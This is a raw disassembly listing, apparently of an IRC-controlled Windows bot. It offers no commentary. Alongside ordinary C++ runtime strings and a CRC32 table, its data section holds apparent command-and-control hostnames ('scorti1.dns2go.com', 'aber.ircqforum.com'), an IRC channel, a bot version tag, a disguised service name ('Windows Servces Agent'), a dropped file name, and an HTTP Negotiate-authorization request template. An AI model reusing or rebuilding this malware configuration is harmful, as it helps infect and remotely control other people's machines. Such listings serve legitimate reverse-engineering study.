--------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25C10A6h, 25D0000h, 25D0590h, 25E0000h, 25E0A4Eh dd 25E0A9Eh, 25E0F45h, 25F0000h, 2600000h, 2600849h, 2600CACh dd 2610000h, 261085Dh, 2610A82h dword_42703C dd 2610A9Eh ; DATA XREF: ___:004231D9r dd 2610B30h, 2610DFDh, 2610E6Fh, 2620000h, 2630000h, 263118Ch dd 2640000h, 26403B3h, 26408C8h, 77E75CB5h dword_427068 dd 26408DCh ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2640BBCh, 2650000h, 2650A62h dword_427078 dd 2660000h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 266006Bh ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 2660263h dword_427084 dd 2660382h ; DATA XREF: sub_4196BC+B9r dd 266080Bh dword_42708C dd 2660882h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 26608E0h ; DATA XREF: ___:loc_4013DCr dd 2660C04h, 2660CE7h dword_42709C dd 2660DE9h ; DATA XREF: sub_409B12+2r dd 2670000h, 267009Bh dword_4270A8 dd 2670678h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 26706DCh ; DATA XREF: sub_410CD5:loc_410DC1r dd 2680000h, 2680B21h dword_4270B8 dd 2680C1Dh ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 2690000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26A0000h, 26B0000h, 26B05AAh, 26C0000h, 77F7E300h, 77F7E21Fh dd 26C053Ah, 26C06BEh, 26D0000h, 26D08EFh dword_4270E8 dd 26E0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26E08DCh ; DATA XREF: sub_418293+36r dd 26E0B5Bh, 26F0000h dword_4270F8 dd 26F05C9h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2700000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 270158Fh, 2710000h, 2710C12h, 2720000h, 2720877h, 2730000h dd 27303D0h, 2740000h, 2750000h, 27503D4h, 2750497h, 2750611h dd 2760000h, 27603B5h, 2760761h dword_42713C dd 2760A4Ch ; DATA XREF: sub_416F1A+BCr dd 2770000h dword_427144 dd 2780000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 2780BDDh ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 2780C2Fh dword_427150 dd 2790000h ; DATA XREF: sub_417275+56r dd 279020Ah, 27A0000h, 27B0000h, 27B0650h, 27B0B91h, 27C0000h dd 27C0180h, 27C06E7h, 27D0000h, 27E0000h dword_42717C dd 27E1128h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 27F0000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 27F1045h, 27F138Ch, 27F17C4h, 27F19FBh, 2800000h, 2810000h dd 2820000h, 2830000h, 2840000h, 2850000h, 2851C4Ah, 2851C94h dd 2860000h, 2860EA6h, 2870000h dword_4271C0 dd 2870596h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 2870698h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28707AAh, 2880000h, 28807BEh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(4B4EBF76h), 5 dup(290E2EF5h), 5 dup(3948FE06h) dd 7Ah dup(0) dd 3948FE06h, 0 dd 4B4EBF76h, 15h dup(0) dd 290E2EF5h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 72657373h, 652E6376h, 6578h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 